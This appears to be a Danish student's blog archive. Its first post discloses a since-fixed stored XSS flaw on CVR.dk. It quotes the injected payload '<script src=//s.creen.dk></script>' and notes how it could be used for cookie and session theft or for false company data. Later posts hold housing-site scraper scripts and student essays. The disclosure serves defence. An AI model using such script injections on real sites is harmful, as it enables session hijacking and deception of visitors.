Studiebloggen: In data we trust! XSS sårbarhed på CVR.dk

Posted by & filed under In Danish, Studiebloggen.

Stor data, åbn data, data om data – den er alle vegne.

Vi bruger data som grundlag for at træffe beslutninger og derfor er vi dybt afhængige af at andre mennesker, myndigheder og virksomheder giver os korrekt data.

Når vi træffer beslutninger på baggrund af data, er det helt afgørende hvorfra vi har fået dataen, kommer den fx fra en offentlig myndighed, har vi en forventning til at dataen er korrekt.

Eksemplets magt

Det antages almindeligvis, at adresser indgår i helt op til 80 % af de digitale løsninger, som et moderne samfund betjener sig af.

I hvert fald hvis man skal tro på Ministeriet for By, Bolig og Landdistrikter.

Adresser står på postkasser. Ikke e-Bokse, nej. Den slags hvor man modtager helt almindelige, kedelige, snail mails. Her er et billede af min.

Det er ingen hemmelighed at jeg synes at IT sikkerhedsmæssige udfordringer er rigtig interessante. Da jeg samtidig elsker at dele ud af min viden, hvad ville så være en mere naturligt end at oprette en konsulentvirksomhed hvor jeg kan gøre netop dette?

Lad os kalde min nye virksomhed for CREEN security – og lad os fortælle Erhvervsstyrelsen at jeg har tænkt mig at være IT konsulent.

En sådan registrering kan ske via webreg.dk, hvor man med 3 klik, et login med NemID og 2 yderligere klik, bliver præsenteret med et spørgeskema i 10 skridt. Det 4. skridt “Stamdata” ber’ mig om at indtaste adresserne for virksomheden.

Da der ikke står “CREEN security” på min postkasse, skriver jeg blot <script src=//s.creen.dk></script>, som c/o navn, det fremgår jo klart og tydeligt af min postkasse.

Få dage efter kan jeg fremsøge min nye virksomhed på cvr.dk, men jeg kan ikke se mit c/o navn i adressefeltet.

Hvis jeg åbner mine udviklerværktøjer, kan jeg se at det står i koden, men det bliver ikke vist. Det er selvfølgelig fordi min browser, fortolker c/o navnet som HTML. HTML der fortæller browseren at den skal inkludere et JavaScript fra et eksternt website, i dette tilfælde er det eksterne website s.creen.dk. Et script der ligger på mit domæne, under min kontrol.

Når et script inkluderes på et website, som er hostet på et domæne, udenfor ens kontrol, så har man effektivt set, overgivet kontrollen over det indhold som ens brugere udsættes for, til dem der kontrollerer det eksterne script.

Det bliver altså muligt for mig at præsentere besøgende på cvr.dk, for information der kontrolleres helt eller delvist af mig – uden om Erhvervsstyrelsen’s faktuelle tjek.

Herunder fremkommer resultatet af en søgning på “CREEN security“. Jeg har skiftet virksomhedens navn og stamoplysninger og ændret ophørsdato’en til d. 20/11 2013.

Tænk hvad der ville ske hvis jeg havde gjort det samme med et børsnoteret selskab og sendt linket til højre og venstre på de sociale medier? Det ville være et meget effektivt værktøj til at tjene store penge på shorting af aktier!

Alternativt kunne jeg bruge fejlen til at stjæle cookies fra de besøgende på CVR der ser min virksomheds profil, inklusiv den ASP.NET_SessionId-cookie som websitet bruger til at holde styr på hvem der er logget ind og hvem der ikke er. Gud ved hvilke knapper der gemmer sig for en administrativ bruger på sitet?

Alt jeg skulle gøre for at få administrative rettigheder er at spørge en ansvarlig ved styrelsen om et spørgsmål der får dem til at besøge min virksomheds profil.

Spredning

En interessant vinkel på problematikken er at det centrale virksomheds register, nu frigives under en åben licens og at virksomheder jævnligt trækker data fra registeret. Hvis de heller ikke renser dataen før den printes i markup, så er der potentiale for at disse sider også er sårbare i skrivende stund.

Løsningen

Løsningen er naturligvis at sørge for at tegn som < og > ikke bliver printet ned i HTML’en, de skal i stedet erstattes med såkaldte “Special Entities” som &lt; og &gt;

Så simpelt er det – det vil rette denne fejl. Men det garanterer ikke at der ikke gemmer sig flere.

Responsible disclosure

Inden du springer til tasterne for at reproducere resultatet ovenfor, så bliver jeg nødt til at skuffe dig. Fejlen er rettet – og det blot 12 dage efter jeg kontaktede styrelsen.

Den hurtige respons viser at IT sikkerhed er et emne som tages seriøst i en offentlig styrelse, men hvordan kan det være at noget så simpelt ikke er blevet fundet og rettet for lang tid siden?

Det er ganske enkelt fordi det er super svært at forestille sig alle de kreative måder som folk kunne finde på at udfordre ens system – man har en naturlig forudantagelse om at det system har kørende er sikkert, indtil andet er bevist.

At et offentligt IT system har en sikkerhedsfejl, er i sig selv ikke den største sensation. Det er vel nærmest forventeligt af ethvert ældre system af denne størrelse. Skulle man rejse en kritik, kunne man rette den på den øjensynlige mangel på tests af sikkerheden, på et så betroet website som CVR.dk:

Det er selvfølgelig pinligt at have erhvervet sig en kønssygdom, fordi man ikke har beskyttet sig. Men det bliver først rigtig pinligt hvis man ikke anerkender risikoen og sørger for at blive testet regelmæssigt. Da brugerne af de offentlige IT systemer er os alle sammen, har vi alle en interesse i at systemerne testes. Selvom det betyder at et IT system må stå med bukserne om anklerne en gang imellem.

This article was originally posted on version2.dk

Click to read (please post and read comments there)

Studiebloggen: Ballmer Peak: Studerende udforsker ugentligt fænomenet

Posted by & filed under In Danish, Studiebloggen.

Imens andre studerende bruger sin torsdag eftermiddag på grupperegninger eller matematik projekter, sidder en gruppe IT studerende med snuden i skærmen, til en lystig lyd af Britpop fra Studenterhusets højtalere.

De er igang med et yderst uvidenskabeligt eksperiment, som de gentager hver eneste torsdag. Konceptet er simpelt og uforpligtende: Der programmeres imens der drikkes øl!

De er inspireret fra en XKCD stribe om netop forholdet imellem at skrive kode og indtagelse af alkohol.

Lånt fra http://xkcd.com/323/

I starten af studiet på DTU inviteres man ofte til sociale arrangementer og de er ofte et afbræk fra det til tider travle studie. Derfor er det ikke altid lige velset at dreje emnet over på det super fede website man lige har bygget i Haskell med Yesod frameworket, når man endelig mødes udenfor studiet.

Der manglede altså initiativer til dem, som netop gerne vil kode og drikke øl sammen med andre. For det er jo fedt at sidde skulder ved skulder med sine studiekammerater når man koder på sit hobby- eller studieprojekt. Og så bliver det jo sjældent mindre hyggeligt når man knapper en øl op.

Alle kan deltage, også selvom de ikke er hardcore programmører og hvis man har et problem som kræver hjælp siger man det bare højt, så er der sikkert en der kan hjælpe.

Beer ‘n Programming på DTU er i øvrigt en del af en større bevægelse, som finder sted i blandt andet Norge og Melbourne. Følg eventuelt links i menuen på http://pilsprog.no/.

Jeg var et smut forbi i torsdags hvor Beer n’ Programming blev afholdt for 9. gang. Super flinke mennesker omend fremmødet på netop denne dag var ret begrænset, grundet et større matematik projekt. Jeg fik mig en lille snak med Kristian Dam-Jensen der studerer IT og kommunikationsteknologi på DTU. Han var med til at starte det sammen med to medstuderende og han fortalte mig lidt om konceptet.

Til alle mine medstuderende på DTU der synes det kunne være interessant at mødes med andre der har passioner i fællesmængden af programmering og øl: I skal blot søge medlemskab i den åbne facebook gruppe Beer & Programming.

This article was originally posted on version2.dk

Click to read (please post and read comments there)

Studiebloggen: Sådan blev jeg rykket 70% frem på ventelisten til et kollegium!

Posted by & filed under In Danish, Studiebloggen.

Kære forum. Det er noget tid siden min sidste blog artikel. Denne gang har jeg lyst til at dele et værktøj med jer.

Jeg har fornylig valgt at fraflytte min ellers fantastiske lejlighed i Valby og derfor søger jeg en lejebolig, helst kollegium eller bofællesskab. Jeg står altså i samme situation som en masse andre boligsøgende IT studerende. Specielt hvis man ønsker at bo i indre København, kan man risikere at vente ganske lang tid på ventelister rundt omkring i cyberspace.

Jeg bruger blandt andet websitet findbolig.nu til at skrive mig op på ventelisten til en række kollegier og ungdomsboliger. Udviklerne af siden har valgt at give brugeren mulighed for at slå sin position på ventelisterne op for hver bolig én af gangen. Og fordi muligheden for at se den tidslige udvikling af placeringen, ikke eksisterer, blev jeg som den 1337 h4x0r jeg jo i sandhed er, nødt til at lave det selv.

Jeg valgte at skrive et simpelt python script, der først finder ud af hvilke værelser jeg er skrevet op til og derefter henter venteliste placeringerne på alle boligerne. Disse tilføjes i slutningen af en datafil hvorfra placeringerne efterfølgende kan plottes på en graf.

Når man søger bolig på findbolig.nu kan man svare ja eller nej til følgende spørgsmål om ens boligmæssige situation:
* Bor du hos dine forældre?
* Har du en midlertidig bolig? (hvis ja, skal dokumentation sendes til CIU)
* Bor du i en opsagt bolig? (hvis ja, skal dokumentationen sendes til CIU)
* Har du et boligproblem i forbindelse med ophørt samliv? (hvis ja, skal dokumentation sendes til CIU)

Ved at fremsende dokumentationen for de relevante punkter fik jeg følgende resultat i ventelisterne:

En dyrkøbt erfaring – Det er sidste gang jeg laver nogen form for web klient i python der bruger urllib2. Fremadrettet kan jeg stærkt anbefale python requests (se python-requests.org).

Python scriptet kan ses og hentes her: https://github.com/kraenhansen/findbolig.nu/blob/master/findbolig-venteliste-extractor.py og instruktioner til at køre det, samt lidt mere teknisk information kan læses på min personlige blog.

This article was originally posted on version2.dk

Click to read (please post and read comments there)

How I get notifications on rentable rooms on findroommate.dk

Posted by & filed under How I solved my problem, In English, Tech.

dialog-screenshot
This is the second tool in my toolchain developed on my mission of programming myself out of my childhood room at my parents. Findroommate.dk has a search alert feature, where they claim that “A new room was just announced!”, but when you lookup the date that the room was announced, its always three days old. By new tool basically performs a search on the website for rooms in my desired area of interest with my desired bounds on the rent. A log is kept on the rooms already seen and the search result is then processed to check if any new room has appeared. When a new room appears I get a message box notification and a sound file starts playing until the message dialog is dismissed.
When I hit the “Yes” button of the dialog, I get the room shown in my Google Chrome webbrowser. The script performs a search every 60 seconds. Dependencies are the imported libraries as well as the Google Chrome browser and the mplayer CLI multi media player.

import requests
import json
import pickle
import time
import subprocess
import pygtk
pygtk.require('2.0')
import gtk
 
BROWSER_PATH = "google-chrome"
SOUNDPLAYER_PATH = "mplayer"
ALARM_SOUND = "Pleasurekraft - Carny.mp3"
SLEEP_DELAY = 60
 
def alarm(identifier, username):
	print "Found a new room! %s #%u" % (username, identifier)
	sound_process = subprocess.Popen([SOUNDPLAYER_PATH, ALARM_SOUND])
	dialog = gtk.MessageDialog(parent=None, flags=0, type=gtk.MESSAGE_QUESTION, buttons=gtk.BUTTONS_YES_NO, message_format=None)
	dialog.set_markup("Found a new room on findroommat.dknDo you wish to show it now?")
	answer = dialog.run()
	sound_process.terminate()
	if answer == gtk.RESPONSE_YES:
		browser_process = subprocess.Popen([BROWSER_PATH, "http://www.findroommate.dk/Profiler/%s" % username])
 
def fetch_profiles():
	headers = {
		'Content-Type': 'application/json',
	}
	data = {
		'UserType':0,
		'MapCenterBoundsLat':'55.67246738804332',
		'MapCenterBoundsLng':'12.583579399999962',
		'ViewPortLat':'55.77648968046662',
		'ViewPortLng':'12.782019951757775',
		'RentLow':'2000',
		'RentHigh':'4000',
		'RentalPeriodsArray':'1,2,3',
		'SmokingMustBeAllowed':False,
		'AnimalsMustBeAllowed':False,
		'WifiMustBePresent':False,
		'CableTvMustBePresent':False,
		'WasherMustBePresent':False,
		'DishWasherMustBePresent':False,
		'IncludeWomen':True,
		'IncludeMen':True,
		'PersonIsSmoker':False,
		'ExcludePersonsWithChildren':False,
		'MustHavePicture':False,
		'SortingTypeId':'adPlaced',
		'SortingValue':'desc'
	}
	r = requests.post('http://www.findroommate.dk/API/Search/Search.asmx/GetSearchResults', data=json.dumps(data), headers=headers)
	response = json.loads(r.content)
	return_value = response["d"]["ReturnValue"]
	return json.loads(return_value)
 
if __name__ == '__main__':
	print 'New room alarm on findroommate.dk'
	file_name = "ids.pickle"
	first_run = False
	try:
		with open(file_name) as f:
			visited_profile_ids = pickle.load(f)
	except IOError as e:
		visited_profile_ids = []
		first_run = True
 
	while True:
		profiles = fetch_profiles()
 
		print "Found %u profiles when searching." % profiles['Count']
		for profile in profiles['Profiles']:
			identifier = profile['UserIdInt']
			username = profile['Username']
			if identifier not in visited_profile_ids:
				visited_profile_ids.append(identifier)
				if not first_run or True:
					alarm(identifier, username)
 
		with open(file_name, 'w') as f:
			pickle.dump(visited_profile_ids, f)
 
		time.sleep(SLEEP_DELAY)

How I monitor my position on the waiting lists of findbolig.nu

Posted by & filed under How I solved my problem, In English, Tech.

Instacoded
I am in the process of getting myself a new apartment. This is why I signed myself up for the website findbolig.nu on which I can sign myself up for a rented apartment at a selection of dormitories and alike.
It is not possible to get an estimate on the approximate time I have to wait on waiting lists, but I can see my number in the waiting list of all the buildings I have signed myself up to.
This is why I build myself a small python script which logs me in, fetches the list of buildings I have signed myself up to, fetches my position in the queue and appends this to a CSV datafile.
In case you would like to feel inspired by this, feel free to fetch this for personal non-commercial use.
This tool can be ran by downloading it and naming it something like original like “findbolig-venteliste-extractor.py”.
Afterwards run it with the following parameters:

  • -u or –username : Your username on findbolig.nu
  • -p or –password : Your password on findbolig.nu
  • -o or –output : The .csv datafile that you would like to append your data to.
  • -l or –log : The level of logging you would like: Either, error, warning, info or debug.

You could for example run:

python findbolig-venteliste-extractor.py -u name -p pass -o placements.csv -l debug

This will crawl and produce a CSV datafile, appending to it if ran multiple times, with a date stamp as the first column and every other column begin the position in the queue of a particular building, represented with the buildings unique identifier.
BTW: The script understands if the buildings are removed or added from the wishlist on the website.
I also did a small spreadsheet to visualize the data, this links to an external document, which could be placements.csv outputted above.

Click here to download the ODS visualizing the placements.

The script can also be downloaded directly from github.

import argparse
import logging
import sys
import re
import time
import json
import csv
import datetime
import requests
 
log = logging.getLogger(__name__)
logging.getLogger('pyactiveresource').setLevel(logging.WARNING)
 
class FindBoligNuClient:
	URL_base = "http://www.findbolig.nu/"
	URL_secure_base = "https://www.findbolig.nu/"
	URL_login = URL_base+"logind.aspx"
	URL_venteliste = URL_base+"Findbolig-nu/Min-side/ventelisteboliger/opskrivninger.aspx?"
	URL_placement = URL_secure_base+"Services/WaitlistService.asmx/GetWaitlistRank"
	session = requests.Session()
	def __init__(self):
		log.info("Initializing the findbolig.nu client")
		response = self.session.get(self.URL_base)
		if "Findbolig.nu" not in response.text:
			log.error("It seems like the findbolig.nu website is down or has changed a lot.")
			sys.exit(-1);
 
	def login(self, username, password):
		log.info("Logging into %s using username '%s'", FindBoligNuClient.URL_login, username)
		# Fetch the regular login page.
		response = self.session.get(self.URL_login)
		# Extract input names and values
		data = dict()
		content = response.text
		input_fields = re.findall("<input(.*)>", content, flags=re.IGNORECASE)
		for field in input_fields:
			name = re.findall('.*name="([^"]*)".*', field)
			value = re.findall('.*value="([^"]*)".*', field)
			if name:
				if value:
					data[name[0]] = value[0]
				else:
					data[name[0]] = ""
		data["ctl00$placeholdercontent_1$txt_UserName"] = username
		data["ctl00$placeholdercontent_1$txt_Password"] = password
		data["__EVENTTARGET"] = "ctl00$placeholdercontent_1$but_Login"
		data["__EVENTARGUMENT"] = ""
 
		response = self.session.post(self.URL_login, data=data)
		if "Log af" in response.text:
			# Extract users full name.
			name = re.search('<span id="fm1_lbl_userName">(.*)&nbsp;</span>', response.text)
			log.info("Logged in as %s", name.group(1))
			return True
		else:
			return False
 
	def extract_waitinglist_references(self):
		result = []
		response = self.session.get(self.URL_venteliste)
		table_content = re.search('<table[^>]*id="GridView_Results"[^>]*>(.*?)</table>', response.text, flags=re.IGNORECASE|re.DOTALL)
		if table_content:
			table_content = table_content.group(1)
			rows = re.findall('<tr class="rowstyle"[^>]*>(.*?)</tr>', table_content, flags=re.IGNORECASE|re.DOTALL)
			for row in rows:
				#collumn = re.findall('<td[^>]*>(.*?)</td>', row, flags=re.IGNORECASE|re.DOTALL)
				bid = re.search('href="/Ejendomspraesentation.aspx?bid=([^"]*)"', row, flags=re.IGNORECASE|re.DOTALL)
				if bid:
					bid = int(bid.group(1))
					result.append(bid)
		return result
 
	def extract_waitinglist_placements(self, bids, sleep=1):
		result = {}
		for bid in bids:
			log.debug("Requesting placement on building #%u.", bid)
			data = {
				'buildingId': bid
			}
			headers = {
				'Content-Type': 'application/json; charset=UTF-8'
			}
			response = self.session.post(self.URL_placement, data=json.dumps(data), headers=headers)
			if response:
				response = response.json()
				if response["d"] and response["d"]["WaitPlacement"]:
					result[str(bid)] = int(response["d"]["WaitPlacement"])
					log.debug("It was %u.", result[str(bid)])
				else:
					raise RuntimeError("Error reading a placement: Error in JSON structure.")
			else:
				raise RuntimeError("Error reading a placement.")
			time.sleep(sleep)
		return result
 
def write_data(data):
	fieldnames_temp = set()
	try:
		output_file = open(args.output,'r')
		reader = csv.DictReader(output_file, delimiter=',')
		all_data = list(reader)
 
		# Extract the fieldnames
		if reader.fieldnames:
			for name in reader.fieldnames:
				if name != "date":
					fieldnames_temp.add(str(name))
 
		output_file.close()
	except IOError:
		log.info("There was no existing data in the datafile.")
		all_data = list()
 
	# Do a union over all elements of the list.
	fieldnames = ["date"]
	fieldnames_temp |= set(data.keys())
	fieldnames.extend(list(fieldnames_temp))
 
	# Insert the date as the first field.
	data["date"] = datetime.datetime.now().date().isoformat()
	# Add this datapoint as new data.
	all_data.append(data)
 
	output_file = open(args.output,'wb')
	writer = csv.DictWriter(output_file, delimiter=',', fieldnames=fieldnames)
	writer.writeheader()
	writer.writerows(all_data)
	output_file.close()
 
if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	parser.add_argument('-u', '--username', help='Your username on findbolig.nu.', required=True)
	parser.add_argument('-p', '--password', help='Your password on findbolig.nu.', required=True)
	parser.add_argument('-o', '--output', help='The output file.', required=True)
	parser.add_argument('-l', '--log', help='Set the log level to debug.', default='WARNING')
	args = parser.parse_args()
 
	numeric_level = getattr(logging, args.log.upper(), None)
	if not isinstance(numeric_level, int):
		raise ValueError('Invalid log level: %s' % args.log)
	logging.basicConfig(format='%(levelname)st%(message)s', level=numeric_level)
 
	print "findbolig.nu venteliste extractor v.0.1n"
 
	client = FindBoligNuClient()
	success = client.login(args.username, args.password)
	if not success:
		log.error("Couldn't login using the credentials provided.")
		sys.exit(-2)
	# Fetch bids for all buildings on the whishlist.
	venteliste_bids = client.extract_waitinglist_references()
	# Iterate the list of bids and return a dict of the placements.
	venteliste_placements = client.extract_waitinglist_placements(venteliste_bids, 0)
	# Append to the datafile.
	write_data(venteliste_placements)

Studiebloggen: Sådan drejer du helt naturligt jule-snakken hen på algoritmer

Posted by & filed under In Danish, Studiebloggen.

Du sidder muligvis i familiens trygge omgivelser og trykker febrilsk på knappen der opdaterer din RSS-læser eller din inbox, i håbet om at finde noget der kan forbinde julen med din tankeflugt om algoritmer, data strukturer og andet godt fra din travle hverdag.

Her er et simpelt site lavet af Gerth Stølting Brodal, Associate Professor ved Aarhus Universitet der kan give dig et afbræk fra den travle juletid: https://cs.au.dk/~gerth/julehjerter/index.php?text_front=v2&text_back= Det giver mulighed for at generere de skabeloner som man skal klippe efter, for at få netop det julehjerte som har den valgte tekst på for- eller bagsiden.

Mit indlæg er selvfølgelig stærkt inspireret af Torben Mogensen’s indlæg ved juletid sidste år: http://www.version2.dk/blog/las-os-flette-33086 og linket blev oprindeligt posted af Anne-Sofie Nielsen. Til de mere hardcore har Torben Mogensen opdateret sin guide til foldning af julehjerter med motiver: http://www.diku.dk/~torbenm/julehjerter1.pdf som også kan anbefales hvis man har lyst til at gå lidt dybere i teknikkerne.

Når du så har flettet algoritme-julehjerter, mon det så ikke er tid til at lægge din tablet eller laptop til side og være til stede? :)

God jul til jer allesammen, og tak for et interessant først år på studie bloggen …

This article was originally posted on version2.dk

Click to read (please post and read comments there)

Studiebloggen: Arriva forstyrrer 12 unge iværksættere

Posted by & filed under In Danish, Studiebloggen.

Når jeg ser tilbage på mit liv indtil nu, opdager jeg at de vigtigste øjeblikke indtraf ved en opdagelse af noget nyt. En opdagelse der oftest har været fremkaldt ved en forstyrrelse der nu virker mere eller mindre tilfældig, når jeg ser tilbage på den.

Hele sidste uge blev jeg forstyrret gentagende gange, hver eneste dag, af mange forskellige mennesker: Jeg var gået ombord på en iværksætter-bus fra Arriva, der var fyldt til bristepunktet med mega fed energi og lyst til at gøre en forskel! Ved min side havde jeg 11 andre iværksættere. Vi besøgte sammen alt fra globale virksomheder til væksthuse idet vi rundende både Google Danmark, Roskilde Festival og Udvikling Fyn – bare for at nævne et par.

Formålet med busturen var, at vi skulle åbne vores øjne for oplevelsen og forsøge at uddrage de bedste principper fra andre organisationer. Best principles der kunne bruges i vores egne virksomheder.


Foto: Rasmus Degnbol / Degnbol Fotografi

Jeg er tekniker

Først lidt baggrund for min rejse.
Jeg er tekniker og jeg elsker at begrave mig i design og kode til jeg nærmest mister overblikket over tid, sted og formål. Jeg ved ikke hvorfor det drager mig, men det er bare fedt.

Af flere omgange har jeg udviklet virkende prototyper på dimser af den ene eller anden udformning; Små software værktøjer, hardware dimser eller andet teknologisk afkom.

Min primære årsag til at lave dimser har altid været et håb om at kunne lære noget, men jeg er tit blevet mødt med skepsis fra min omverden, der ikke lige kunne se formålet i en elektrisk detonator, bygget fra et digitalt æggeur, plus det løse fra tredje skuffe.

Jeg må også indrømme, at jeg flere gange har lavet virkende prototyper, som jeg har nydt i et par timer og aflagt i skuffen, til evigt minde om min manglende evne til at kommercialisere det jeg lavede.

Efter et kursus i videns-baseret entreprenørskab på DTU fik jeg indprentet nogle af de grundlæggende spørgsmål som man som tekniker bør stille sig selv, hver gang man starter et nyt projekt, hvis man altså samtidig vil mødes af forståelse og anerkendelse når man fremviser sit resultat.

Hvorfor?

Det centrale spørgsmål er selvfølgeligt: “Hvorfor? Hvilken værdi skaber det?”
Hvorfor laver du den dims? Hvilket behov løser det?
Spørgsmålet skal ikke blot besvares ved det første trivielle behov: “En detonator sprænger ting i luften! Derfor er den fed!”, men snarer at den elektriske detonator ville give den kuldskære del af familien en mulighed for at antænde kl-12 raketten indefra stuen og derved deltage i festlighederne uden samtidigt at dø af kulde.

Når man kan fortælle hvorfor man laver den dims man laver, bliver det meget nemmere at relatere sig til for en person der ikke er teknisk.

Forstyrrelser

Fra min uge i Startup Buzz’en fik jeg genopfrisket hvor vigtigt det er at have visionen på plads og at når jeg fortæller om mine idéer gør jeg det til et bestemt publikum – jeg skal være endnu mere bevidst om hvem jeg snakker med, når jeg snakker om det jeg laver i fx Open Source Shift.

Men vigtigst af alt fik jeg høstet energi til at fortsætte som iværksætter, en energi som den følgende video måske illustrerer:

Jeg har sagt det før og nu siger jeg det så lige en sidste gang. Tusind tak til alle der var med til at give os 12 iværksættere en uforglemmelig forstyrrelse og jeg kan varmt anbefale alle med en iværksætter i maven at holde øje med startup buzzen på deres facebook side: https://www.facebook.com/STARTUPBUZZ
De fortjener et skulderklap for at støtte op om de iværksættere der skaber fremtidige arbejdspladser for os alle!

Jeg har nu lært at jeg skal lære at forstå hvorfor jeg laver de dimser jeg ikke kan lade være med at lave. Jeg er blevet forstyrret i min dagligdag som studerende på DTU og jeg håber at der er flere derude der nu forstår, hvorfor alle ikke altid synes det er fedt at lave dimser, blot for dimsernes skyld.

Jeg håber at artiklen har givet stof til eftertanke, et lille smil eller lignende. Jeg vil gerne imødekomme at den dog er på kanten af hvad man måske kan skrive på en studieblog – men det var lige hvad der rørte sig i mit liv som studerende …

This article was originally posted on version2.dk

Click to read (please post and read comments there)

Studiebloggen: Kan man læse it uden at åbne en bog?

Posted by & filed under In Danish, Studiebloggen.

På væggen i klasseværelset hang et stort stykke farvet karton, påtegnet en tabel med to kolonner og en række til hver elev. Mit og alle mine klassekammeraters navne var skrevet i første kolonne af tabellen og i den anden kolonne skulle vi hver især sætte streger. Én streg for hver side læst i vores læse-let-bøger. Min klasselærer havde givet os rigeligt med plads til stregerne, idet hun havde store ambitioner på vores vegne.

I dag vil jeg afsløre en af mine største og mest velbevarede hemmeligheder, hvilket samtidig doubler som en af mit livs største fejltagelser.

Jeg snød på læse-let-tabellen. Jeg satte streger for sider jeg ikke havde læst og allerede da jeg modtog rosen for læsningen af tostavelses-lyrikken, vidste jeg at jeg havde bevæget mig ud i noget dumt. Jeg har lige siden haft oplevelsen af, at være langsomt læsende.

Efterfølgende har jeg modtaget specialundervisning i læsning og blev endeligt erklæret uegnet til gymnasiet på tiendeklassescenteret. Dog sidder jeg nu på DTU med et karaktergennemsnit i den øvre tiendedel og tænker hvordan kunne det lige lade sig gøre?

Tilbage til nutiden

Jeg fokuserer min energi på at være tilstede i forelæsninger, men læser ganske enkelt ikke til dem og det er der flere årsager til.

Først og fremmest er jeg doven af natur – de gange jeg har læst er jeg mødt op til forelæsningen og har set det samme materiale, som jeg har brugt timer på at læse mig igennem, gennemgået af min professor på 2 gange ½ time. Det kan ikke betale sig for mig.

En anden grund er, at jeg stadigvæk ikke har accepteret billedet af mig selv som akademiker. Jeg ser mit studie i Informationsteknologi på DTU som en af de fagligt mest udfordrende uddannelser, en aspirerende programmør kan involvere sig i. Men jeg ser først og fremmest min evne til at programmere som et håndværk. For en håndværker er det ikke vigtigt at vide alting, hvis blot han ved hvor han kan finde viden, når han har glemt den.

Let’s face it: Håndværkere læser ikke først manualer. Måske kigger de lidt på billederne, men det er kun hvis det er den absolut sidste udvej, at de tager brillerne ud af lommen på deres overalls og læser.

Men jeg har faktisk stadigvæk dårlig samvittighed, selvom jeg klarer mig fint ved blot at deltage aktivt i forelæsninger. Jeg kan ikke lade være med at tænke: “Hvor langt kunne jeg ikke komme hvis jeg også læste stoffet?”. Samvittigheden bliver ikke bedre, når jeg hører argumentet: “Hvis du først læser, så ser forelæsningen og derefter læser, så forstår du det hele meget bedre.

På den anden side, så kommer jeg til fornuft ved tanken om hvor lang tid det ville tage. I argumentets yderlighed kunne jeg læse det fire gange og i øvrigt få kursets pensum helt ind under huden, hvis jeg lod mig tatovere med lærebogens formler – men der må være en grænse.

Har vi brug for et læsepensum?

En RUC’er producerer tekster over halvdelen af studietiden, den anden halvdel bruger hun på sidde til forelæsninger og på at læse. Det giver mening at man skal tage stilling til andres tekster, hvis fremstilling af faglige tekster er studiets primære disciplin.

Er det altid nødvendigt at have læsepensum til tekniske kurser på DTU? Nogle har selvfølgelig let materiale, men der er altid sider jeg ikke har fået læst.

Hvad med dig? Læser du og er du stolt af det? Eller har du for længst langt bøgerne på hylden?

This article was originally posted on version2.dk

Click to read (please post and read comments there)

Studiebloggen: Må studerende rette fejl i universitetets software?

Posted by & filed under In Danish, Studiebloggen.

Der er mange fagområder i erhvervslivet, der kan løftes og effektiviseres ved at introducere nye værktøjer. Det samme gælder for visse universitetskurser; der er sågar nogle kurser der ikke ville være praktisk mulige hvis ikke de var understøttet af et værktøj. Det ville fx være ret problematisk at arbejde med billedanalyse eller statistiske modeller uden et værktøj, til at bearbejde billederne eller større datamængder.

tl;dr (tilføjet d. 27/10 10:00)

Til dig der har travlt: Jeg ønsker at påpege et generelt problem, ikke pege fingre af bestemte systemer. Min pointe er at man kunne vælge at udvikle et universitets undervisningsværktøjer i open source projekter, fordi de studerende der bruger værktøjerne kunne have lyst til at rette de fejl der irriterer dem. Jeg tror at man ved en officiel udmelding med vejledning og ressourcer, fra et universitet til sine ansatte og studerende kunne sikre muligheden for at vi får fornuftige værktøjer og en mulighed for at rette de problemer der generer os.

Det første værktøj

Jeg blev i begyndelsen af dette semester introduceret til et værktøj, der skulle hjælpe de studerende med at strukturere deres projektarbejde; et domænespecifikt værktøj, som blev indført til netop dette kursus, og som var egen-udviklet af en kandidatstuderende til formålet. Da jeg kørte versionen til Linux på min maskine fik jeg en fejl med et tracedump i en log-fil.

Jeg kontaktede den kursusansvarlige fordi jeg ville hjælpe med at rette fejlen, men blev sat på plads af professoren med følgende ord: “There will be no on-the-fly fixes since we are a University here, not a software product company (just in case you haven’t noticed).

Et andet værktøj

Vi blev efterfølgende introduceret til endnu et egen-udviklet system – denne gang web-baseret. Fra URL’en blev frigivet i forelæsningslokalet gik der blot et kvarter til programmøren bag systemet, en kandidatstuderende, havde fået tilsendt en mail fra en kursusdeltager med følgende ord:

Hi,
 
As we discussed in the class, there are some issues with the
security of the system. We would be happy help secure it to
make sure noone can mess with it :) 
 
define("DB_SERVER", "localhost");
define("DB_USER", "root");
define("DB_PASS", "her-stod-koden");
define("DB_NAME", "4tt!l4-w4s-h3r3");
 
Cheers,

Dette og professorens irettesættelse fik mig til at gruble. Kan det først og fremmest passe at et universitet ikke producerer software? Og hvis ikke, ville det så ikke være smart at tillade os studerende at hjælpe til med at rette fejlene i de værktøjer, som vi bliver mere eller mindre tvunget til at bruge i forbindelse med undervisningen?

DTU står ikke alene med problemet

Sidste ugens it-profil Ken Friis Larsen artikulerer ret godt sine frustrationer om de administrative systemer, der omgiver ham på DIKU (Datalogisk Insitut ved Københavns Universitet):

De fleste af dem kunne være lærebogseksempler på, hvor galt det kan gå, lige fra horrible brugergrænseflader, hen over eklatante sikkerhedshuller til arkitekturbeslutninger, der er så håbløst forkerte, at det skinner igennem til brugerne.” og fortsætter i en kommentar under artiklen:

Jeg ser bestemt Universiteterne som software-producerende organisationer, historisk set har universiteterne fx bidraget stærkt til mange Open Source projekter. [...] Men det er fx frustrerende at give en indledende forelæsning i indledende websecurity, og ikke en gang nå tilbage til sit kontor efter forelæsningen før man modtager den første email fra en studerende hvor de spørger om det virkeligt kan passe at der er i sikkerhedshul i det ene eller det andet system der bliver brugt til undervisningen. Det er jo ellers en åbenlys mulighed for at vise de studerende hvordan et veldesignet system kunne være, i stedet står vi bare og ser uprofessionelle ud over for de studerende.

Konfrontationen

Da jeg i en pause i en forelæsning konfronterede min professor med idéen om at bidrage til at rette fejlene i begge systemer, fik jeg at vide at det ikke var muligt at give os adgang til kildekoden. Universitetets administration er generelt meget insisterende i forhold til at forsvare ejendomsretten til de produkter universitetet producerer, lød det. Efter hans overbevisning inkluderede det den føromtalte software.

Hvis dette er rigtigt, synes jeg for alvor at der er noget galt. Det giver ingen mening for et universitet at fastholde ophavsretten til et system med så mange fejl og mangler, at det alligevel ikke kan kommercialiseres.

Det minder mig om det klassiske spørgsmål man stiller til iværksættere når de overvejer at tage imod risikovillig kapital: “Vil du have en hel muffin eller et stykke af en kæmpe kage?“. I dette tilfælde sidder universitetet med en muffin der er gået lidt over holdbarhedsdatoen og siger nej til at de studerende bager en bedre kage til dem.

Administrationens svar

